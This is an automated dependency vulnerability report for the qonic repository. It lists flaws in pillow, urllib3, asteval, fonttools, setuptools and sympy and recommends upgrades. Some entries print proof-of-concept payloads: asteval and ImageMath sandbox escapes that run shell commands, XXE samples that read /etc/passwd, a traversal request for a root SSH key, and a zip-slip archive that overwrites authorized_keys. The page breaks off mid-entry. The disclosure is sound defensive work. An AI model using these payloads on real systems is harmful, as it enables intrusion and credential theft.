Vulnerabilities

26 via 104 paths

Dependencies

61

Source

GitHub

Commit

161ffced

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 26
  • 1
Severity
  • 1
  • 13
  • 10
  • 3
Status
  • 27
  • 0
  • 0

critical severity

Heap-based Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0, forest-benchmarking@0.9.0 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 pillow@9.5.0
    Remediation: Upgrade to pillow@10.0.1.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 pillow@9.5.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 pillow@9.5.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow when the ReadHuffmanCodes() function is used. An attacker can craft a special WebP lossless file that triggers the ReadHuffmanCodes() function to allocate the HuffmanCode buffer with a size that comes from an array of precomputed sizes: kTableSize. The color_cache_bits value defines which size to use. The kTableSize array only takes into account sizes for 8-bit first-level table lookups but not second-level table lookups. libwebp allows codes that are up to 15-bit (MAX_ALLOWED_CODE_LENGTH). When BuildHuffmanTable() attempts to fill the second-level tables it may write data out-of-bounds. The OOB write to the undersized array happens in ReplicateValue.

Notes:

This is only exploitable if the color_cache_bits value defines which size to use.

This vulnerability was also published on libwebp CVE-2023-5129

Changelog:

2023-09-12: Initial advisory publication

2023-09-27: Advisory details updated, including CVSS, references

2023-09-27: CVE-2023-5129 rejected as a duplicate of CVE-2023-4863

2023-09-28: Research and addition of additional affected libraries

2024-01-28: Additional fix information

Remediation

Upgrade Pillow to version 10.0.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: tequila-basic@1.9.11

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: tequila-basic@1.9.11

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: tequila-basic@1.9.11

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity

Exposed Dangerous Method or Function

  • Vulnerable module: asteval
  • Introduced through: forest-benchmarking@0.9.0

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 lmfit@1.2.2 asteval@0.9.31

Overview

asteval is a Safe, minimalistic evaluator of python expression using ast module

Affected versions of this package are vulnerable to Exposed Dangerous Method or Function stems from the library's attribute access verification method, specifically within the on_attribute node handler. The handler is intended to block access to sensitive Python dunder methods by checking against a list of unsafe attributes and attribute patterns. However, due to a flaw in the implementation, an attacker can manipulate the attribute access mechanism by altering the attribute name during runtime, thereby bypassing the safety checks and executing arbitrary code.

PoC

from asteval import Interpreter
aeval = Interpreter()
code = """
ga_str = "__getattribute__"
def lender():
    a
    b
def pwn():
    ga = lender.dontcare
    init = ga("__init__")
    ga = init.dontcare
    globals = ga("__globals__")
    builtins = globals["__builtins__"]
    importer = builtins["__import__"]
    importer("os").system("whoami")

def startswith1(str):
    # Replace the attr on the targeted AST node with "__getattribute__"
    pwn.body[0].value.attr = ga_str
    return False    

def startswith2(str):
    pwn.body[2].value.attr = ga_str
    return False    

n1 = lender.body[0]
n1.startswith = startswith1
pwn.body[0].value.attr = n1

n2 = lender.body[1]
n2.startswith = startswith2
pwn.body[2].value.attr = n2

pwn()
"""
aeval(code)

Remediation

Upgrade asteval to version 1.0.6 or higher.

References

high severity

Exposed Dangerous Method or Function

  • Vulnerable module: asteval
  • Introduced through: forest-benchmarking@0.9.0

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 lmfit@1.2.2 asteval@0.9.31

Overview

asteval is a Safe, minimalistic evaluator of python expression using ast module

Affected versions of this package are vulnerable to Exposed Dangerous Method or Function through the on_formattedvalue function. An attacker can manipulate the value of the string used in the dangerous call fmt.format(__fstring__=val) to access protected attributes by intentionally triggering an AttributeError exception. The attacker can then catch the exception and use its obj attribute to gain arbitrary access to sensitive or protected object properties.

PoC

from asteval import Interpreter
aeval = Interpreter()
code = """
# def lender():
#     ga
    
def pwn():
    try:
        f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}"
    except Exception as ga:
        ga = ga.obj
        sub = ga(dict.mro()[1],"__subclasses__")()
        importer = None
        for i in sub:
            if "BuiltinImporter" in str(i):
                importer = i.load_module
                break
        os = importer("os")
        os.system("whoami")

# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below
# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works
        
pwn()
"""
aeval(code)

Remediation

Upgrade asteval to version 1.0.6 or higher.

References

high severity
new

Arbitrary Code Execution

  • Vulnerable module: fonttools
  • Introduced through: fonttools@4.38.0, forest-benchmarking@0.9.0 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 fonttools@4.38.0
    Remediation: Upgrade to fonttools@4.62.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 fonttools@4.38.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 fonttools@4.38.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

fonttools is a Tools to manipulate font files

Affected versions of this package are vulnerable to Arbitrary Code Execution due to the parseBlendList() function's usage of built-in Python's eval() function when parsing TTX font data. An attacker can execute arbitrary scripts by supplying a specially crafted numeric value strings to TTX XML attributes.

Remediation

Upgrade fonttools to version 4.62.0 or higher.

References

high severity

Eval Injection

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0, forest-benchmarking@0.9.0 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 pillow@9.5.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 pillow@9.5.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 pillow@9.5.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: fonttools
  • Introduced through: fonttools@4.38.0, forest-benchmarking@0.9.0 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 fonttools@4.38.0
    Remediation: Upgrade to fonttools@4.43.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 fonttools@4.38.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 fonttools@4.38.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

fonttools is a Tools to manipulate font files

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the OT-SVG parser in the svg.py file.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade fonttools to version 4.43.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0, forest-benchmarking@0.9.0 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 pillow@9.5.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 pillow@9.5.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 pillow@9.5.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0, forest-benchmarking@0.9.0 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 pillow@9.5.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 pillow@9.5.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 pillow@9.5.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0, forest-benchmarking@0.9.0 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 pillow@9.5.0
    Remediation: Upgrade to pillow@10.0.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 pillow@9.5.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 pillow@9.5.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.

Remediation

Upgrade pillow to version 10.0.0 or higher.

References

high severity

Improper Control of Generation of Code ('Code Injection')

  • Vulnerable module: setuptools
  • Introduced through: setuptools@68.0.0, tequila-basic@1.9.11 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 setuptools@68.0.0
    Remediation: Upgrade to setuptools@70.0.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 setuptools@68.0.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 cvxpy@1.3.4 setuptools@68.0.0

Overview

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.

Note

Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.

Remediation

Upgrade setuptools to version 70.0.0 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: sympy
  • Introduced through: sympy@1.10.1, forest-benchmarking@0.9.0 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 sympy@1.10.1
    Remediation: Upgrade to sympy@1.12.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 sympy@1.10.1
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 sympy@1.10.1
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 sympy@1.10.1
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 sympy@1.10.1

Overview

sympy is a Computer algebra system (CAS) in Python

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the sympy/utilities/mathml/__init__.py file. An attacker could gain unauthorized access to sensitive information by exploiting entities within XML documents.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade sympy to version 1.12 or higher.

References

medium severity

XML Injection

  • Vulnerable module: fonttools
  • Introduced through: fonttools@4.38.0, forest-benchmarking@0.9.0 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 fonttools@4.38.0
    Remediation: Upgrade to fonttools@4.61.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 fonttools@4.38.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 fonttools@4.38.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

fonttools is a Tools to manipulate font files

Affected versions of this package are vulnerable to XML Injection via the main() function in the fontTools/varLib/__init__.py file. An attacker can write files to the filesystem by supplying a specially crafted .designspace file.

Remediation

Upgrade fonttools to version 4.61.0 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: forest-benchmarking@0.9.0 and tequila-basic@1.9.11

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 tqdm@4.67.3 importlib-metadata@6.7.0 zipp@3.15.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 pytest@7.4.4 importlib-metadata@6.7.0 zipp@3.15.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 lmfit@1.2.2 asteval@0.9.31 importlib-metadata@6.7.0 zipp@3.15.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 pytest@7.4.4 pluggy@1.2.0 importlib-metadata@6.7.0 zipp@3.15.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 tqdm@4.67.3 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: setuptools
  • Introduced through: setuptools@68.0.0, tequila-basic@1.9.11 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 setuptools@68.0.0
    Remediation: Upgrade to setuptools@78.1.1.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 setuptools@68.0.0
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 cvxpy@1.3.4 setuptools@68.0.0

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

medium severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: urllib3
  • Introduced through: tequila-basic@1.9.11

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

  1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

  2. Not disabling HTTP redirects (e.g. with redirects=False)

  3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

  1. Using the Proxy-Authorization header with urllib3's ProxyManager.

  2. Disabling HTTP redirects using redirects=False when sending requests.

  3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: tequila-basic@1.9.11

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0, forest-benchmarking@0.9.0 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 pillow@9.5.0
    Remediation: Upgrade to pillow@10.3.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 pillow@9.5.0
